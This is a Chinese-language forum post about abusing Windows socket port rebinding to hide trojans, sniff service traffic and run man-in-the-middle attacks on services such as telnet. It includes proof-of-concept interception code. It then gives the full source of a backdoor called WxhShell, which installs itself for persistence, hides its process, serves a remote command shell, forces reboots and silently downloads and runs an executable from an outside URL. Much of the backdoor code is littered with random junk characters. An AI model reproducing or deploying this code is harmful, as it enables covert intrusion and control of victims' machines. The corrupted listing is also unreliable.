[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; *<3iEeO/R
if(chr[0]==0xd || chr[0]==0xa) { +}]wLM}\UF
pwd=0; "b;k.Fx
break; B#4S/d{/
} Px#4pmz
i++; 73#9NZR
} % NwoU%q
c$.T<r)Z
// 如果是非法用户，关闭 socket ?(M\:`G'
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~pwY6Q
} ?/L1tX)
zN/Gy}
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y7 <(,uT
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LQ|<3]
,|>nF;.Y
while(1) { L/%xbm~
<m9JXO:5
ZeroMemory(cmd,KEY_BUFF); 'jwTGT5x
{.%0@{Y
// 自动支持客户端 telnet标准 c'[( d5^|
j=0; -hm9sNox
while(j<KEY_BUFF) { _4A&%>
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fjG/dhr
cmd[j]=chr[0]; J]_)gb'1BR
if(chr[0]==0xa || chr[0]==0xd) { 4>d[qr*<
cmd[j]=0; Xek E#?.
break; i@%L_[MtA
} 1W4H-/Re
j++; pzYG?9cwz
} ]lC4+{V
7jD@Gp`" 3
// 下载文件 ROcY'-
if(strstr(cmd,"http://")) { 8cequAD
send(wsh,msg_ws_down,strlen(msg_ws_down),0); rUhWZta
if(DownloadFile(cmd,wsh)) r{c5dQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :1%VZvWk*
else 7Co3P@@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N>h]mX6
} !G@V<'F
else { _y.mpX&
G;Pt|F?c
switch(cmd[0]) { hlt9x.e.A
4h[2C6 \+`
// 帮助 (gv=P>:
case '?': { DWHOSXA4
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h:eN>yW
break; zV9 =
} pvK \fSr
// 安装 V/+H_=|
case 'i': { GA}hp%
if(Install()) aA!@;rR<yU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1ZGQhjcx
else ajg7xF{l)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &^"s=g.
break; B`t)rBy
} 'lSnyW{
// 卸载 AqTR.}H
case 'r': { i|::vl
if(Uninstall()) }j]<&I}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Nxo0Q
else `"-`D!U?$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mCZF5r
break; IX > j8z[
} +Px<DX+
// 显示 wxhshell 所在路径 4C2>0O<^s
case 'p': { 23.y3t_?
char svExeFile[MAX_PATH]; g%KGF)+H
strcpy(svExeFile,"\n\r"); S.?\>iH[
strcat(svExeFile,ExeFile); @p?b"?QaB
send(wsh,svExeFile,strlen(svExeFile),0); 98<bF{#0WM
break; rZwf%}
} MC[`<W)u
// 重启 '2i)#~YO<
case 'b': { c+YYM :S
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o>QFdx
if(Boot(REBOOT)) bRY4yT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;8 /+wBnm
else { 8z3I~yL_`+
closesocket(wsh); 7J</7\
ExitThread(0); _tWfb}6;Zb
} &,6y(-
break; \I`=JKYT
} @pEO@bbg>
// 关机 SFXfo1dqH
case 'd': { ;^*+:e
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zN8&M<mTl
if(Boot(SHUTDOWN)) H8Z Z@@ qm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v;NZ"1=_
else { GXAk*vS=G
closesocket(wsh); R)DNFc:
ExitThread(0); )b:~kuHi
} SBYMDKZ
break; ~*Sbn~U
} v1tN DyM6
// 获取shell W> -E.#!_
case 's': { 7T(OV<q;#
CmdShell(wsh); ky lrf4=
closesocket(wsh); @{$Cv"6769
ExitThread(0); :6Pc m3
break; 1RUbY>K#U
} E?c{02fu
// 退出 Kr}M>hF+|
case 'x': { :\w[xqH
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fG[3%e
CloseIt(wsh); TF iM[
break; {dr&46$p
} &4Iqm(
// 离开 h/+I-],RF
case 'q': { +hvIJv ?
send(wsh,msg_ws_end,strlen(msg_ws_end),0); -aeo7C
closesocket(wsh); K1wN9D{t'
WSACleanup(); SYW=L
exit(1); 1b]PCNz
break; bCx1g/
} Hpo?|;3D5
} :,z3:PL
} oTV8rG
p31rhe
// 提示信息 U"Ob@$ROFy
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [#*?uu+ jK
} i11GW
} _Ag/gu2-?
cZX&itVc:
return; s2v#evI`+
} Kac j
j{w,<Wt>
// shell模块句柄 +(P43XO08
int CmdShell(SOCKET sock) C.e|VzQa
{ byj mH
STARTUPINFO si; po$ynp756
ZeroMemory(&si,sizeof(si)); SoGLsO+R
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _x|8U'|Ce
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EKS<s82hF&
PROCESS_INFORMATION ProcessInfo; .yh2ttf<gB
char cmdline[]="cmd"; 96E7hp !:
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 88=FPEU
return 0; cyP*QW[
} a.U:B [v`
Ac(irPrD
// 自身启动模式 |3lAye,t)a
int StartFromService(void) HNUR6H&Fta
{ k@)m-K
typedef struct V5@[7ncVf
{ >W]"a3E
DWORD ExitStatus; vc{]c }
DWORD PebBaseAddress; wQuaB6E
DWORD AffinityMask; 0BP~0z
DWORD BasePriority; c1!/jTX$
ULONG UniqueProcessId; >s?;2T2"yx
ULONG InheritedFromUniqueProcessId; !J(,M)p!
} PROCESS_BASIC_INFORMATION; @' :um
eKti+n.
PROCNTQSIP NtQueryInformationProcess; y\|\9Q%D
|nZB/YZt
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %=O!K>^vt<
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0bL=l0N$W
!4cdP2^P
HANDLE hProcess; [a*>@IR
PROCESS_BASIC_INFORMATION pbi; qa`(,iN
92_H!m/
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `a-T95IFy
if(NULL == hInst ) return 0; >b](v)
yf^gU*
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /Z_ [)PTH
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M@[gT?mv1
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ddhTri'f
DJjDKVO5t
if (!NtQueryInformationProcess) return 0; < io8 b|A
x&b-Na3Xi
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "A`'~]/hE
if(!hProcess) return 0; M +q7h+HP
<rmV$_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rGL{g&_
-7VV5W
CloseHandle(hProcess); Px&Mi:4tG
nW*Oo|p~=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {X"]92+
if(hProcess==NULL) return 0; +N&(lj
@CUDD{1o
HMODULE hMod; r(CL=[
char procName[255]; N|L5Ru
unsigned long cbNeeded; S|w] Q
&}=,8Gt1G
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D|#(zjl@
p}X87Zq
CloseHandle(hProcess); ) hB*Hjh
>G7U7R}R
if(strstr(procName,"services")) return 1; // 以服务启动 <u/({SZ&
;H|M)z#[Z
return 0; // 注册表启动 .1lc'gu5y
} swbD q
$ayD55W4
// 主模块 4;{CR. D
int StartWxhshell(LPSTR lpCmdLine) 9oz)E>K4f
{ #+nv,?@
SOCKET wsl; L]")TQ
BOOL val=TRUE; /omVMu
int port=0; V@f#/"u'
struct sockaddr_in door; xc3Q7u!|
.1}(Bywm5
if(wscfg.ws_autoins) Install(); NebZGD2K
1!#ZEI C
port=atoi(lpCmdLine); /RJSkF+!
}$U6lh/Ep
if(port<=0) port=wscfg.ws_port; KguFU
Zv7)+Q
WSADATA data; x|5/#H
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d a9 *>+[
,_O[;L
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; R5zV=N
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |05LHwb>
door.sin_family = AF_INET; f#mpd]e+6
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1XRVbQt
door.sin_port = htons(port); en)DN3
:{2$X|f 3
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "'(4l 2.
closesocket(wsl); Jsl,r+'H
return 1; D%v yO_k
} 4F?1,-X
;k]pq4E
if(listen(wsl,2) == INVALID_SOCKET) { mH"`46
closesocket(wsl); 3WS %H17
return 1; 50A_+f.7%
} =|/b[Gd(
Wxhshell(wsl); t60m:k4J
WSACleanup(); ]gZjV
%iv'/B8
return 0; Hn)=:lI
3}Pa,uN
} Ycwb1e#
j?A+qk
// 以NT服务方式启动 `Ii>wb
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ';%g^!lM a
{ [A47OR
DWORD status = 0; C Qebb:y
DWORD specificError = 0xfffffff; /e\dsC{uJ
)NK2uD
serviceStatus.dwServiceType = SERVICE_WIN32; $.kYAsZts
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2_Qzc&"[ 4
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <4Fd~
serviceStatus.dwWin32ExitCode = 0; yLP0w^Q
serviceStatus.dwServiceSpecificExitCode = 0; Zl)|x%z
serviceStatus.dwCheckPoint = 0; s0u$DM2
serviceStatus.dwWaitHint = 0; Jz6PqU|=
V4>P8cE
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <~3 aaO
if (hServiceStatusHandle==0) return; f W )
zV]0S o
status = GetLastError(); +J} 41
if (status!=NO_ERROR) Smp+}-3O
{ c8u0\X,
serviceStatus.dwCurrentState = SERVICE_STOPPED; h$!qb'|
serviceStatus.dwCheckPoint = 0; T]xGE
serviceStatus.dwWaitHint = 0; Vswi /(
serviceStatus.dwWin32ExitCode = status; 'coqm8V[%
serviceStatus.dwServiceSpecificExitCode = specificError; xl3U
SetServiceStatus(hServiceStatusHandle, &serviceStatus); TsD >m
return; UpITx]y?"m
} Dj|S
;WhB2/5v
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8P 8"dN[
serviceStatus.dwCheckPoint = 0; u0,~pJvX
serviceStatus.dwWaitHint = 0; IO+z:D{
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &+ IXDU
} gSC@uf
ps]6,@uyB
// 处理NT服务事件，比如：启动、停止 !"kvXxp^
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;?rW`e2
{ )D^P~2
switch(fdwControl) }8svd#S+
{ kB 2bT}
case SERVICE_CONTROL_STOP: 1Nz\3]-
serviceStatus.dwWin32ExitCode = 0; u32<=Q[
serviceStatus.dwCurrentState = SERVICE_STOPPED; kxP6#8*:
serviceStatus.dwCheckPoint = 0; L \$zr,=C
serviceStatus.dwWaitHint = 0; U+ 8[Ia(t
{ eZv0"FK X
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] !H<vR$8
} rEViw?^KT
return; D"hiEz
case SERVICE_CONTROL_PAUSE: 4@5<B
serviceStatus.dwCurrentState = SERVICE_PAUSED; qHj4`&
break; $qvNv[
case SERVICE_CONTROL_CONTINUE: vD(;VeW[
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,ToED
break; 3S,pd0;
case SERVICE_CONTROL_INTERROGATE: %6n;B|!
break; Z` Aiw."|
}; `8Om*{xg
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *-n$n
} t!~mbx+
!>+ 0/
// 标准应用程序主函数 A=,m
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 83dOSS2
{ |`|b&Rhu
C?|gf?1p
// 获取操作系统版本 e#AB0-f
OsIsNt=GetOsVer(); xj}N;FWo
GetModuleFileName(NULL,ExeFile,MAX_PATH); u0x\5!?2
v|hi;l@7E
// 从命令行安装 qjWgyhL
if(strpbrk(lpCmdLine,"iI")) Install(); T4UY%E!0
' Sl9xd
// 下载执行文件 ]*@7o^4i
if(wscfg.ws_downexe) { Vf:t!'WD?2
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MDlCU
WinExec(wscfg.ws_filenam,SW_HIDE); iZ58;`
} .1}u0IbJ
HiWZ?G
